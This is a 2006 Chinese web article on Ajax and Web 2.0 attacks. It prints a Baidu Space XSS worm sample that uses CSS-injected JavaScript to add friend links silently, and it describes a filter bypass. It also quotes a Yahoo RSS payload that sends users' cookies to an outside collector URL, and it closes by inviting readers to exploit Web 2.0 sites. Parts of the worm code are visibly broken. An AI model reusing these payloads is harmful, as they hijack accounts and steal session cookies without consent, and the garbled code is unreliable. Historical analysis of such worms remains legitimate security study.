ajax hacking,Ajax Hacking

Ajax Hacking

更新时间：2006年11月06日 00:00:00   作者：

由此Ajax攻击可见一斑，然而这还仅仅是个开始。7月份百度开通了百度空间，虽然没有指明是应用web2.0技术，但从web2.0象征的测试版(beta)和页面模版架构等等，你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月，相应的攻击方式又产生了，这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet，层叠样式表单)中对插入的javascript过滤不严格，而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下：

#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码

var req = null;

if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道，是它的核心XMLHttpRequest，而下面当然是必不可少的判断是否IE的语句了。

else if(window.ActiveXObject){

var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){}

}

req.open('get','.',false);

req.send();

var s=req.responseText;

p=s.indexOf('passport.baidu.com/?logout');

if(p>0)

{

p=s.indexOf('');

if(p>0)

{

p=s.indexOf('/',p);

p2=s.indexOf(String.fromCharCode(34),p);

var user=s.substring(p+1,p2);

var name='Here is a bad site';

var link='目标网址';

var desc='This link was added by an XSS script';

var url='/'+user+'/commit';

var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 这句是整个蠕虫的执行语句，也是Ajax的数据异步调用语句。

req.open('post',url,false);

req.send(data);

alert('A friend link has been added to your space at http://hi.baidu.com/' +user);

}

}

else{alert('You are not a logged Baidu user.');} //- - 由于是标本语句，所以这里有对是否登陆的判断，但实际攻击中当然不会有。

}");

}当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript，当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕，因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写，就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生，其造成的结果是在用户的css中加入如下代码：

#header {……

很简单的一句吧，这几乎把该蠕虫提升到了病毒性质，因为用户本身无法到达css修改页面来修复他的css代码。事实上直到写这篇文章时，百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。

如果认为他们所造成的影响都是局域的，那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss(Really Simple Syndication)攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的，大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤，导致攻击者可以向Rss中写入恶意的javascript代码，最终导致xss跨站，获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码：

javascript:%20document.location='http://www.target.com/cookie.cgi?'%20+document cookie;

Should Steal Your Cookie.

Tue, 20 Sep 2005 23:55:18 EDT

javascript:%20alert(document.cookie);

Should Steal Your Cookie.

Tue, 20 Sep 2005 23:55:18 EDT

事实上，最早的web2.0攻击出现在去年的myspace.上，有人在MySpace交友网站上写了一段JavaScript蠕虫代码，利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单，同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站，网上有一篇《Hacking Ajax》的文章，其中有一句话被加了黑体，“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”，也就是说适当情况下，利用Ajax攻击并获得个人电脑管理权限亦是可能的。

由于目前系统对补丁的发布采取的都是时时更新功能，想通过溢出获得shell已经很难了，除非是0day的系统漏洞；而sql注入在网络也肆虐了几年，亦有了行之有效的防范方法；并且由于Python和Ruby语言的兴起，新的web2.0服务正在产生并有取代现有web结构趋势，譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释，只要我们始终有改变javascript的可能性，我们就永远有提升自己权限的可能……

那么对于日趋庞大的web2.0大军，你是否有兴趣从中分一杯羹呢？

相关文章

最近自己做了一个小demo，实现了Ajax与MySQL的数据交互，js部分用的是jq，后台用的是PHP，数据库是mysql，下面通过本文给大家详细介绍下2016-12-12

ajaxSubmit()方法是JQuery Form表单插件中的方法，使用时，需要在jsp或者html页面上，引入JQuery库和Form插件。接下来通过本文给大家分享通过AjaxSubmit()方法实现Form提交表单后回调功能，感兴趣的朋友跟随脚本之家小编一起看看吧2018-05-05

本篇文章给大家介绍jquery中的ajax异步上传，在此需要引入ajaxfileupload.js这个js文件。接下来，有需要的朋友跟着小编一起学习吧2015-09-09

JSONP是一种使用JSON数据的方式，返回的不是JSON对象，是包含JSON对象的javaScript脚本。接下来通过本文给大家介绍jsonp解决ajax跨域访问问题的思路，非常不错具有参考借鉴价值，感兴趣的朋友一起看下吧2016-05-05

这篇文章主要给大家介绍了如何解决AJAX请求中含有数组的问题，文中给出了详细的示例代码，相信对大家的理解和学习很有帮助，有需要的朋友们下面跟着小编一起来看看吧。2016-12-12

juery的ajax调用aspx.cs页面中的webmethod方法：首先在 aspx.cs文件里建一个公开的静态方法，然后加上WebMethod属性，具体实现如下，感兴趣的朋友可以参考下哈，希望对大家有所帮助2013-07-07

建一个XMLHttpRequest对象池...2007-04-04

下面总结了在不同编程语言中出现ajax中文乱码的各种解决办法，下面有需要的朋友可参考一下2012-09-09

本文主要给大家介绍基于Jquery.history解决ajax的前进后退问题，涉及到jquery前进后退相关方面的知识，本文内容经典，非常具有参考价值，特此把jquery前进后退相关知识分享在脚本之家网站供大家参考2015-10-10

在ASP.NET MVC beta中我们可以使用Ajax.BeginForm, Ajax.ActionLink来进行Ajax调用，同样我们也可以使用一些支持Ajax 框架如jQuery来简化对ajax的调用。2015-09-09

最新评论